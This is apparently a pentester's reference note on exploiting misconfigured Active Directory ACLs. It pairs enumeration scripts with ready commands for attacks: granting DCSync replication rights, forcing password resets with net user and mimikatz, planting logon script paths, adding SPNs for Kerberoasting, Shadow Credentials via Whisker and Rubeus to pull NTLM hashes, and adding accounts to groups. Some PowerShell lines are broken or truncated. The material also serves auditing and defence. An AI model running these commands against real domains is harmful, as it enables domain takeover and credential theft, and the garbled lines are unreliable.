Exploitation - ACL exploiting

Overview

Every Active Directory security principal object, uniquely identified by a Security Identifier (SID) across a domain, has a security descriptor, which dictates the trustees that are granted permissions over the object.

The security descriptor is formatted according to the Security Descriptor Definition Language (SDDL) and will usually be divided into two types of ACL:

  • A Discretionary Access Control List (DACL) which define the trustees that are allowed or denied permissions to the object

  • A System Access Control List (SACL) which can be used to log attempts to access the object.

The SDDL uses Access Control Entry (ACE) strings in the DACL and SACL components of a security descriptor string. Each ACE in a security descriptor string is composed of a trustee SID and an access mask defining their associated permissions / access rights. Moreover, a bit flag determine whether child containers or objects can inherit the ACE from the primary object to which the ACL is attached.

Each ACE in the SACL specifies the types of access attempts by a specified trustee that cause the system to generate a record in the security event log.

Active Directory ExtendedRights

A number of extended rights (ExtendedRight) are defined by Active Directory to allow permission control on predefined tasks.

Some of these tasks, detailed below, can be exploited to different ends:

RightObject typeRight's GUIDDescription

AllExtendedRights

Any.

00000000-0000-0000-0000-000000000000

All ExtendedRight. On computers objects, includes the possibility to retrieve the LAPS password (if LAPS is deployed on the affected computers).

User-Force-Change-Password

User and computer accounts.

00299570-246d-11d0-a768-00aa006e0529

ExtendedRight that permits the resetting of an user account password.

DS-Replication-Get-Changes

Domain root object.

1131f6aa-9c07-11d1-f79f-00c04fc2dcd2

ExtendedRight that permits, in combination with DS-Replication-Get-Changes-All, replication requests through DRSUAPI functions.

DS-Replication-Get-Changes-All

Domain root object.

1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

ExtendedRight that permits, in combination with DS-Replication-Get-Changes, replication requests through DRSUAPI functions.

Enumeration of DACL

Unitary enumeration

DSACLS.exe or Get-ACL from the Remote Server Administration Tools (RSAT) and PowerView's Get-DomainObjectAcl (previously Get-ObjectAcl) can be used to enumerate the DACL of an Active Directory object.

For a more fine grained enumeration, and translation of extended rights GUID to human readable names, the Active Directory Users and Computers (dsa.msc) utility, integrated in the Remote Server Administration Tools (RSAT) tools suite, can be used. The dsa.msc can be started on out-of-the domain machines and using Pass-the-hash attack through the Microsoft Management Console (MMC) utility. For more information, refer to the Active Directory - Domain Recon note.

dsacls.exe <DistinguishedName>

dsacls.exe \\<DC_IP | DC_HOSTNAME\<DistinguishedName>

# PowerShell ActiveDirectory module.
# New-PSDrive is necessary on out-of-the-domain systems, the AD should automatically be mapped otherwise whenever importing the ActiveDirectory PowerShell module
New-PSDrive -Name <AD | DRIVE_NAME> -PSProvider ActiveDirectory -Root "//RootDSE/" -Server "<DC_IP>" -Credential <PSCredential>

# Enumerates the ACL directly using the Get-ACL PowerShell cmdlet which requires a DistinguishedName as parameter.
Get-ACL -Path "<AD | DRIVE_NAME>:<DistinguishedName>" | Select -ExpandProperty Access | ? ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight'

# Searches the specified object across all the domain's objects and enumerates its ACL.
# Supports regex searches. Example: -LDAPFilter '(sAMAccountName=*<SAMACCOUNTNAME>*)'
Get-ADObject -LDAPFilter '(sAMAccountName=<SAMACCOUNTNAME>)' | Select-Object -ExpandProperty DistinguishedName | foreach {  Get-Acl -Path ("AD:\" + $_) | Select -ExpandProperty Access | ? ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight' }

# PowerShell PowerView.
Get-DomainObjectAcl -Identity <SamAccountName | DistinguishedName | SID | GUID>
Get-DomainObjectAcl -Identity <SamAccountName | DistinguishedName | SID | GUID> -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN> -Credential <PSCredentials>

# List ACE of the specified user on the specified object
$UserSID = Get-DomainObject -Identity <SamAccountName | DistinguishedName | SID | GUID> | Select-Object -ExpandProperty objectsid
Get-DomainObjectAcl -Identity <SamAccountName | DistinguishedName | SID | GUID> -ResolveGUIDs | ? {$_.securityidentifier -eq $UserSID}

Domain-wide automated enumeration

The BloodHound ingestor SharpHound (ACL or All collection methods) and the PingCastle's compromise graph can be used to automatically enumerate security objects DACL in order to find exploitable paths. Refer to the Active Directory - AD scanners note for more information.

PowerView can also be used for domain-wide enumeration and filtering on potentially exploitable ACEs. The absence of multi-threading however prevents the use of such queries on larger Active Directory domains.

# Enumeration through a Global Catalog of possibly exploitable ACE on all AD objects defined for the "Everyone", "Anonymous", "Authenticated Users", "Users",  "Domain Users" and "Domain Computers" groups.
# Note that it is recommended to use PingCastle's aclcheck module as it additionally implements checks on GPO files in the SYSVOL share.
# Enumeration can be limited to specific object types using an optional LDAP filter.
# GPO: (objectCategory=groupPolicyContainer) | Certificate templates: (objectClass=pKICertificateTemplate)
$AD_Drive = "ADX"
$GC = (Get-ADDomainController -Discover -Service GlobalCatalog).HostName
New-PSDrive -Name $AD_Drive -PSProvider ActiveDirectory -Root "//RootDSE/" -Server "$GC"
Get-ADObject -Server "$($GC):3268" -SearchBase "" -LDAPFilter '(objectClass=*)' | Select-Object -ExpandProperty DistinguishedName | foreach {
    $VulnACL = Get-Acl -Path ($AD_Drive + ":\" + $_) | Select -ExpandProperty Access | ? { ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner' -or ($_.ActiveDirectoryRights -match 'ExtendedRight' -and $_.ObjectType -match '00000000-0000-0000-0000-000000000000|00299570-246d-11d0-a768-00aa006e0529|1131f6aa-9c07-11d1-f79f-00c04fc2dcd2|1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')) -and $_.IdentityReference -match 'Domain Users|Everyone|Authenticated Users|Anonymous|Domain Computers' -and $_.AccessControlType -eq "Allow" -and $_.PropagationFlags -ne "InheritOnly" }
    If ($VulnACL) {
        Write-Host $_
        $VulnACL
    }
}
Remove-PSDrive -Name $AD_Drive

# Similar to the code snippet above, using PowerView and more prone to false positives.
Get-DomainObjectAcl [-Server <DC_HOSTNAME | DC_IP>] [-Credential <PSCredential>] [-LDAPFilter '<LDAP_FILTER>'] | ? { (($_.SecurityIdentifier -eq 'S-1-1-0') -or ($_.SecurityIdentifier -eq 'S-1-5-7') -or ($_.SecurityIdentifier -eq 'S-1-5-11') -or ($_.SecurityIdentifier -eq 'S-1-5-32-545') -or ($_.SecurityIdentifier -like 'S-1-5-*-513') -or ($_.SecurityIdentifier -like 'S-1-5-*-515')) -and (($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and (($_.ObjectAceType -eq $null) -or ($_.ObjectAceType -match "00000000-0000-0000-0000-000000000000|00299570-246d-11d0-a768-00aa006e0529|1131f6aa-9c07-11d1-f79f-00c04fc2dcd2|1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"))) -or (($_.ActiveDirectoryRights -match 'Self') -and ($_.ObjectAceType -match "00000000-0000-0000-0000-000000000000|bf9679c0-0de6-11d0-a285-00aa003049e2")))}

Get-ADObject [-Server <DC_HOSTNAME | DC_IP>] [-Credential <PSCredential>] [-LDAPFilter '<LDAP_FILTER>'] | Select-Object -ExpandProperty DistinguishedName | foreach {  Get-Acl -Path ("AD:\" + $_) | S
elect -ExpandProperty Access | ? ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight' -and }


# Enumeration of GenericAll, WriteDacl and WriteOwner ACEs on all AD objects for all security principals except - CURRENT domain - privileged built-in groups and principals such as "Creator Owner" (SID: S-1-3-0) and Local System (SID: S-1-5-18).
$ForestSID = (Get-ADForest).RootDomain | %{ (Get-ADDomain -Server $_).DomainSID }
$DomainSID = (Get-ADDomain).DomainSID

$EnterpriseAdminsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountEnterpriseAdminsSid, $ForestSID)).Value
$DomainAdminsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountDomainAdminsSid, $DomainSID)).Value
$AdministratorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid, $DomainSID)).Value
$BackupOperatorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinBackupOperatorsSid,$DomainSID)).Value
$DnsAdminsSID = (Get-ADGroup -Identity "DnsAdmins").SID
$PrintOperatorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinPrintOperatorsSid,$DomainSID)).Value
$ServerOperatorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinSystemOperatorsSid,$DomainSID)).Value
$AccountOperatorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAccountOperatorsSid,$DomainSID)).Value
$SchemaAdminsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountSchemaAdminsSid,$DomainSID)).Value
$DomainControllersSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountControllersSid,$DomainSID)).Value
$EnterpriseControllersSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::EnterpriseControllersSID ,$DomainSID)).Value
$CreatorOwnerSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::CreatorOwnerSid ,$DomainSID)).Value
$SelfSid = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::SelfSid,$DomainSID)).Value

$SIDs = @($DomainAdminsSID, $EnterpriseAdminsSID, $AdministratorsSID, $BackupOperatorsSID, $DnsAdminsSID, $PrintOperatorsSID, $ServerOperatorsSID, $AccountOperatorsSID, $SchemaAdminsSID, $DomainControllersSID, $EnterpriseControllersSID, $CreatorOwnerSID, $LocalSystemSID, $SelfSid)

Get-DomainObjectAcl | ? { (($SIDs -notcontains $_.SecurityIdentifier) -and ($_.SecurityIdentifier -notlike "S-1-5-21*-526") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-527")) -and ($_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner')}

# Enumeration of GenericAll, WriteDacl and WriteOwner ACEs on all AD objects for all security principals except - ALL domains - privileged built-in groups and principals such as "Creator Owner" (SID: S-1-3-0) and Local System (SID: S-1-5-18).
# The objects enumerated can be limited to users, groups, computers, GPOs and OUs using the following LDAP Filter:
# Get-DomainObjectAcl -LDAPFilter "(|(objectClass=group)(objectClass=user)(objectClass=computer)(objectClass=groupPolicyContainer)(objectClass=organizationalunit))"
$DnsAdminsSID = (Get-ADGroup -Identity "DnsAdmins").SID
Get-DomainObjectAcl | ? { (($_.SecurityIdentifier -notlike "S-1-5-21*-512") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-519") -and ($_.SecurityIdentifier -notlike "S-1-5-32-544") -and ($_.SecurityIdentifier -notlike "S-1-5-32-548") -and ($_.SecurityIdentifier -notlike "S-1-5-32-549") -and ($_.SecurityIdentifier -notlike "S-1-5-32-550") -and ($_.SecurityIdentifier -notlike "S-1-5-32-551") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-518") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-516") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-526") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-527")  -and ($_.SecurityIdentifier -notlike "S-1-5-18") -and ($_.SecurityIdentifier -notlike "S-1-5-9") -and ($_.SecurityIdentifier -notlike "S-1-3-0") -and ($_.SecurityIdentifier -notlike "S-1-5-10") -and ($_.SecurityIdentifier -notlike $DnsAdminsSID)) -and ($_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner')}

# Enumeration on exploitable ACE on GPO objects for non-default users (RID >= 1000).
Get-DomainObjectAcl [-Server <DC_HOSTNAME | DC_IP>] [-Credential <PSCredential>] -LDAPFilter '<LDAP_FILTER>' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}

The AD ACL Scanner GUI tool, written in PowerShell, can be used to enumerate all the domain objects' ACL and export the result either to an HTML document or a csv / xml file. The scan can be run on all the domain objects or recursively on all objects in a specific Organizational Unit (Users, Computers, etc.).

For a full domain-wide scan, it is recommended to activate the following options:

  • Scan depth -> Subtree

  • Objects to scan -> All objects

  • View in report -> View Owner, Skip Default Permissions and SD Modified date

  • Output options -> Translate GUID's in CSV ouput (to convert the properties GUID into their name)

The following objects classes may be specified in Objects to scan for a more targeted scan approach:

  • Admin SD Holders: (AdminCount=1)

  • For GPO: (objectClass=groupPolicyContainer)

Grouper2 can also be used, notably in a more thorough review of GPO including the definition of user rights (Active Directory - GPO users rights) and permissions on scripts and MSI packages executed / deployed through GPO.

Grouper2.exe -g -f <OUTPUT_HTML>
Grouper2.exe -u "<USERNAME>" -p "<PASSWORD>" -s "\\<DC_HOSTNAME | DC_IP>\SYSVOL" -g -f <OUTPUT_HTML>

The exploitable permissions, presented below, are of particular interest if attributed for one of the following groups:

  • Everyone, SID: S-1-1-0

  • Anonymous, SID: S-1-5-7

  • Authenticated Users, SID: S-1-5-11

  • Users, SID: S-1-5-32-545

  • Domain Users, SID: S-1-5-<DOMAIN>-513

  • Domain Computers, SID: S-1-5-<DOMAIN>-515

Domain root object exploitation

The domain root object yields the replication rights on the domain, necessary to make use of the DRSUAPI replication functions and that can be leveraged to conduct a DCSync attack.

The privileges on the domain root object necessary to make replication requests through the DRSUAPI are as follow:

  • Replicating Directory Changes (Ds-Replication-Get-Changes, ACE GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)

  • Replicating Directory Changes All (Ds-Replication-Get-Changes-All, ACE GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

The ownership of the domain root object, or the WriteOwner, WriteDACL, GenericAll (on all properties, i.e the ObjectGuid of the ACE being equal to 00000000-0000-0000-0000-000000000000) privileges on the domain root object can be, directly or indirectly, leveraged to grant the Ds-Replication-Get-Changes and Ds-Replication-Get-Changes-All privileges on the domain.

# DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example

# Direct replication rights
Get-ACL -Path "AD:<DOMAIN_ROOT_OBJECT>" | Select -ExpandProperty Access | ? ObjectType -match '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2|1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'

# Rights that can be leveraged to modify the domain root object ACL to grant the privileges required for DRSUAPI replication
Get-ACL -Path "AD:<DOMAIN_ROOT_OBJECT>" | Select -ExpandProperty Access | ? ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner'

The privileges above can be exploited either using the GUI RSAT's dsa.msc utility or using the following PowerView PowerShell cmdlets:

# Specifies ownership of the domain root object if needed (exploits having WriteOwner privilege on the domain root object with out the GenericAll or WriteDACL privileges)
Set-DomainObjectOwner -Verbose -Identity <DOMAIN_ROOT_OBJECT> -OwnerIdentity <SamAccountName | DistinguishedName | SID | GUID>
Set-DomainObjectOwner -Verbose -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN_FQDN> -Credential <PSCredentials> -Identity <DOMAIN_ROOT_OBJECT> -OwnerIdentity <SamAccountName | DistinguishedName | SID | GUID> -Verbose

# Once the domain owner is changed, the GenericAll privilege can be granted to users using the new owner identity
Add-DomainObjectAcl -Verbose -TargetIdentity <DOMAIN_ROOT_OBJECT> -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights DCSync
Add-DomainObjectAcl -Verbose -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN_FQDN> -Credential <PSCredentials> -TargetIdentity <DOMAIN_ROOT_OBJECT> -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights DCSync

Alternatively, a more manual approach, using the RSAT Get-Acl and Set-Acl PowerShell cmdlets can be conducted (script largely inspired from gdedrouas 's Exchange-AD-Privesc):

# If needed, on a system with out the RSAT installed
# Import-Module C:\Tools\Microsoft.ActiveDirectory.Management.dll

New-PSDrive -Name AD -PSProvider ActiveDirectory -Root "//RootDSE/" -Server "<DC_IP>"
$acl = Get-ACL "AD:<DOMAIN_ROOT_OBJECT>"
$sidStr = "<USER_SID>"
$sid = New-Object System.Security.Principal.SecurityIdentifier $sidStr
$objectGuid = New-Object Guid  1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
$identity = [System.Security.Principal.IdentityReference] $sid
$adRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
$type = [System.Security.AccessControl.AccessControlType] "Allow"
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
$acl.AddAccessRule($ace)
$objectGuid = New-Object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
$acl.AddAccessRule($ace)
Set-Acl -AclObject $acl "AD:<DOMAIN_ROOT_OBJECT>"

Users and groups permissions exploitation

Summary

The access rights detailed below can be exploited to gain control over an Active Directory object.

The GenericAll and WriteProperty rights apply over the attribute specified by its ObjectGuid (ObjectType property from PowerShell cmdlet). If the ObjectGuid is equal to 00000000-0000-0000-0000-000000000000, the right apply to all the properties of the object.

If the InheritedObjectType (PropagationFlags) is set to InheritOnly, the access right define by the ACE only apply to the child objects and not the object itself.

Object typePrivilegeDescription

User

GenericAll (RIGHT_GENERIC_ALL).

Full rights on the security object (including WriteOwner and WriteDacl rights), can be used to change the user password.

User

GenericWrite (RIGHT_GENERIC_WRITE). The associated Rights-GUID should normally be undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000.

Ability to update any non-protected object (almost) all properties values and notably update the Script-Path or servicePrincipalName properties. Does not provide the ability to reset an user password. Equivalent to: RIGHT_READ_CONTROL | RIGHT_DS_WRITE_PROPERTY (on all properties) | RIGHT_DS_WRITE_PROPERTY_EXTENDED.

User

WriteProperty (RIGHT_DS_WRITE_PROPERTY) to all properties. Rights-GUID undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000.

Similar to the GenericWrite right.

User

ExtendedRight (RIGHT_DS_WRITE_PROPERTY_EXTENDED)'s ForceChangePassword. Rights-GUID: 00299570-246d-11d0-a768-00aa006e0529.

Ability to change the user password with out knowledge of the current user's password.

User

AllExtendedRights (RIGHT_DS_WRITE_PROPERTY_EXTENDED). ActiveDirectoryRights: ExtendedRight and Rights-GUID undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000.

Ability to perform any action associated with extended Active Directory rights against the object, and notably ForceChangePassword which be used to change the user password.

User

WriteOwner (RIGHT_WRITE_OWNER).

Ability to change the owner of the user, thus granting complete control over the user and notably the ability to change the user's password.

User

WriteDacl (RIGHT_WRITE_DAC).

Ability to change the DACL of the user, thus granting complete control over the user and notably the ability to add ACE to change the user's password.

User

WriteProperty (RIGHT_DS_WRITE_PROPERTY) to Script-Path. Rights-GUID: bf9679a8-0de6-11d0-a285-00aa003049e2.

Ability to update the user logon script path which will be executed on the system upon user logon.

User

WriteProperty (RIGHT_DS_WRITE_PROPERTY) to Public-Information or Public-Information/servicePrincipalName. Public-Information's Rights-GUID: e48d0154-bcf8-11d1-8702-00c04fb96050. servicePrincipalName's Rights-GUID: f3a64788-5306-11d1-a9c5-0000f80367c1.

Ability to define or update the Public-Information allows to define or write an user servicePrincipalName, which exposes the account to Kerberoasting.

User

WriteProperty (RIGHT_DS_WRITE_PROPERTY) to Public-Information or Public-Information/User-Principal-Name and Public-Information/Alt-Security-Identities. Public-Information's Rights-GUID: e48d0154-bcf8-11d1-8702-00c04fb96050. User-Principal-Name's Rights-GUID: 28630ebb-41d5-11d1-a9c1-0000f80367c1. Alt-Security-Identities's Rights-GUID: 00fbf30c-91fe-11d1-aebc-0000f80367c1.

Ability to define or update the Public-Information allows to define or write the User-Principal-Name or Alt-Security-Identities, which can be used to authenticate using a controlled trusted certificate.

User

WriteProperty (RIGHT_DS_WRITE_PROPERTY) to msDS-KeyCredentialLink. msDS-KeyCredentialLink's Rights-GUID: 5b47d60f-6090-40b2-9f37-2a4de88f3063.

Ability to define or update the msDS-KeyCredentialLink attribute allows to set a Key Credential to request TGT for the user through PKINIT authentication (Key Trust model).

Group

GenericAll (RIGHT_GENERIC_ALL).

Full rights on the security object (including WriteOwner and WriteDacl rights), can be used to add an user to the group.

Group

GenericWrite (RIGHT_GENERIC_WRITE) The associated Rights-GUID should normally be undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000

Ability to update any non-protected object (almost) all attributes and notably the member attribute, thus allowing oneself to add others security principals to the group. Equivalent to: RIGHT_READ_CONTROL | RIGHT_DS_WRITE_PROPERTY (on all properties) | RIGHT_DS_WRITE_PROPERTY_EXTENDED.

Group

WriteProperty (RIGHT_DS_WRITE_PROPERTY) to all properties Rights-GUID undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000

Similar to the GenericWrite rights.

Group

Self All validated write or Self-Membership (RIGHT_DS_WRITE_PROPERTY_EXTENDED). All validated write: Rights-GUID undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000. Self-Membership's Rights-GUID: bf9679c0-0de6-11d0-a285-00aa003049e2.

Ability to update any non-protected group members by adding/removing one's own account to the group.

Group

WriteOwner (RIGHT_WRITE_OWNER).

Ability to change the owner of the group, thus granting complete control over the group and notably the ability to add others security objects to the group.

Group

WriteDacl (RIGHT_WRITE_DAC).

Ability to change the DACL of the group, thus granting complete control over the group and notably the ability to add others security objects to the group.

Group

WriteProperty (RIGHT_DS_WRITE_PROPERTY) to the Member attribute. Member's Rights-GUID: bf9679c0-0de6-11d0-a285-00aa003049e2.

Ability to update any non-protected group members, thus allowing to add others security principals to the group.

User - GenericAll / ExtendedRight's ForceChangePassword / AllExtendedRights

The net user built-in utility, RSAT's Set-ADAccountPassword / PowerView's Set-DomainUserPassword PowerShell cmdlets, and mimikatz's lsadump::setntlm function can be used to reset a vulnerable user's password:

# net user will only allow password reset if a GenericAll ACE is exploited.
net user <USERNAME> <PASSWORD> /domain

Set-ADAccountPassword -Identity <SamAccountName | DistinguishedName | SID | GUID> -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "<PASSWORD>" -Force)
Set-ADAccountPassword -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredentials> -Identity <SamAccountName | DistinguishedName | SID | GUID> -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "<PASSWORD>" -Force)

$UserPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
Set-DomainUserPassword -Identity <SamAccountName | DistinguishedName | SID | GUID> -AccountPassword $UserPassword
Set-DomainUserPassword -Domain <DOMAIN> -Credential <PSCredentials> -Identity <SamAccountName | DistinguishedName | SID | GUID> -AccountPassword $UserPassword

mimikatz # privilege::debug
mimikatz # lsadump::setntlm /server:<DC_FQDN | HOSTNAME> /user:<USERNAME> [/password:<PASSWORD> | /ntlm:<NT_HASH>]

User - GenericWrite / Write-Property to all attributes or to the Script-Path attribute

The RSAT's Set-ADObject and PowerView's Set-DomainObject PowerShell cmdlets can be used to modify the properties of a security object.

Set-ADObject -Identity <SamAccountName | DistinguishedName | SID | GUID> [-Add / -Replace] @{scriptpath="\\<IP>\<SHARE>\<SCRIPT>"}
Set-ADObject -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredentials> -Identity <SamAccountName | DistinguishedName | SID | GUID> [-Add / -Replace] @{scriptpath="\\<IP>\<SHARE>\<SCRIPT>"}

Set-DomainObject -Identity <SamAccountName | DistinguishedName | SID | GUID> -Set @{scriptpath="\\<IP>\<SHARE>\<SCRIPT>"}
Set-DomainObject -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredentials> -Identity <SamAccountName | DistinguishedName | SID | GUID> -Set @{scriptpath="\\<IP>\<SHARE>\<SCRIPT>"}

User - GenericWrite / Write-Property to all attributes or to the Public-Information/servicePrincipalName attribute

The Public-Information attribute contains, among others, the User-Principal-Name and Alt-Security-Identities properties.

The ObjectType of the Public-Information is e48d0154-bcf8-11d1-8702-00c04fb96050.

The RSAT's Set-ADUser PowerShell cmdlet can be used to define or update the specified user servicePrincipalName.

# SPN example: SQLservice\accounting.corp.contoso.com:1456
Set-ADUser -Identity <SamAccountName | DistinguishedName | SID | GUID> -ServicePrincipalNames @{Add="<SPN>"}"}

User - GenericWrite / Write-Property to all attributes or to the Public-Information/User-Principal-Name & Public-Information/Alt-Security-Identities attributes

The Public-Information attribute contains, among others, the User-Principal-Name and Alt-Security-Identities properties.

The ObjectType of the Public-Information is e48d0154-bcf8-11d1-8702-00c04fb96050.

A certificate issued by a Certificate Authority (CA) trusted by the domain must be controlled in order to be able to authenticate using a certificate.

The certificate must allow for remote client authentication, meaning the EnhancedKeyUsageList certificate attribute must contain the value (1.3.6.1.5.5.7.3.2). If so, the certificate will be marked as:

"The certificate can be used for authenticating a client."
"Garantit votre identité auprès d'un ordinateur distant."

The following utilities can be used to interact with the Windows certificate stores:

# View AD NTAuth trusted CA
certutil -enterprise -viewstore CA

# View local certificate store for current user
certutil -store -user My

Get-ChildItem -Recurse Cert:\CurrentUser\My\ | Format-List Thumbprint,Issuer,Subject,EnhancedKeyUsageList,HasPrivateKey,NotBefore,NotAfter

mmc.exe -> Add/Remove Snap-in (Ctrl + M) -> Selection of one or multiple chosen snap-in -> Certificates -> Personnal -> Certificates

Setting the User-Principal-Name and Alt-Security-Identities properties is more easily done through the Microsoft Management Console (MMC) utility. The properties should be set to the RFC822 name format found in the certificate details using the mmc.exe utility.

Once the modification is made, the kekeo tool can be used to request a Ticket-Granting Ticket (TGT) for the targeted security principal:

# UPN name format example: USERNAME@DOMAIN_FQDN.

kekeo# tgt::ask /subject:"<SUBJECT_NAME_CONTAINS>" /castore:current_user /user:<UPN>

Note that in order to get around the replication time between Domain Controllers, it is recommended to request a TGT from the KDC of the Domain Controller on which was done the user object update.

User - GenericWrite / Write-Property to all attributes or to the msDS-KeyCredentialLink attribute

The ability to write a principal (user or computer object)'s msDS-KeyCredentialLink attribute can lead to the retrieval of the principal's NTLM hash.

An user's msDS-KeyCredentialLink attribute holds Key Credentials information for the given user. Key Credentials are part of the Key Trust model, introduced to support PKINIT authentication in environments without a Public Key Infrastructure (PKI) trusted by Active Directory (as required to implement the Certificate Trust model).

PKINIT is a Kerberos preauthentication mechanism which uses digital certificates to mutually authenticate the Key Distribution Center (KDC) and clients for Ticket Granting Ticket (TGT) requests (in AS-REQ and AS-REP messages). In environments with a PKI trusted by both parties, such as Active Directory Certificate Services (ADCS), digital certificates generated and signed by the trusted Certificate Authority (CA) will be used for the PKINIT authentication. However, to support password-less authentication through PKINIT (for example Windows Hello) in environments without a trusted PKI, the Key Trust model was introduced. In this model, PKINIT authentication is established using a client's public key that is stored as a Key Credentials object in its msDS-KeyCredentialLink attribute. The ability to modify an user (or computer) object's msDS-KeyCredentialLink attribute can thus be used to obtain a TGT for the principal through a PKINIT authentication.

To support subsequent NTLM SSO authentications for users that authenticated using PKINIT, Kerberos User-to-User (U2U) special service tickets (ST) allow a client to retrieve their NTLM hash. For more information on User-to-User (U2U) ST refer to the [ActiveDirectory] Certificate Services note (NTHash retrieval through User-to-User (U2U) special service tickets section).

The Whisker C# tool can be used to automate the generation of public / private keys and the modification of a targeted object's msDS-KeyCredentialLink attribute (given sufficient privileges). Using the generated private key, a TGT and subsequently a U2U ST can be requested using Rubeus (Whisker will print the Rubeus command to request both tickets).

# Adds a new value to the targeted object's msDS-KeyCredentialLink attribute.
# The public / private keys will be generated automatically and protected using a randomly generated password or the password specified using /password:<PASSWORD>.
# The DeviceID of the generated KeyCredential should be kept to remove the added key.
Whisker.exe add /target:<USERNAME>
Whisker.exe add /target:<USERNAME> /domain:<DOMAIN_FQDN> /dc:<DC> /path:<EXPORTED_CERTIFCATE_FILE> /password:<PASSWORD>

# Requests a TGT for the given user using the previously defined certificate and extract the NTLM hash of the account using a subsequent U2U ST request.
# This command is automatically generated by Whisker upon adding a certificate.
Rubeus.exe asktgt /user:<USERNAME> /certificate:<BASE64_CERTIFICATE> /password:"<CERTIFICATE_PASSWORD>" /domain:<DOMAIN_FQDN> /dc:<DC> /getcredentials /show

# Lists the DeviceID and creation timestamp of the KeyCredentials stored in the msDS-KeyCredentialLink attribute of the specified object.
Whisker.exe list /target:<USERNAME>
Whisker.exe list /target:<USERNAME> /domain:<DOMAIN_FQDN> /dc:<DC

# Removes the KeyCredential specified using its DeviceID for the given object.
Whisker.exe remove /target:<USERNAME> /deviceID:<DEVICE_ID>
Whisker.exe remove /target:<USERNAME> /deviceID:<DEVICE_ID> /domain:<DOMAIN_FQDN> /dc:<DC

Group - GenericAll / GenericWrite / AddMembers / AllExtendedRights / WriteProperty to all properties / WriteProperty to the Member attribute / Self all or Self-Membership

Generic Write access grants the ability to write to any non-protected attribute on the target object, including members for a group.

net group, RSAT's Add-ADGroupMember, and PowerView's Add-DomainGroupMember PowerShell cmdlets can be used to add others security objects to the specified group. Additionally, the Active Directory Users and Computers snap-in can be used to add or remove members from Active Directory groups using a graphical interface.

Note that the Self-Membership right does not seem to be exploitable using the net group command but can be exploited using the PowerShell ActiveDirectory module Add-ADGroupMember.

net group "<GROUP>" <USERNAME> /add /domain

Add-ADGroupMember -Identity "<GROUP>" -Members [<SamAccountName | DistinguishedName | SID | GUID>, ...]
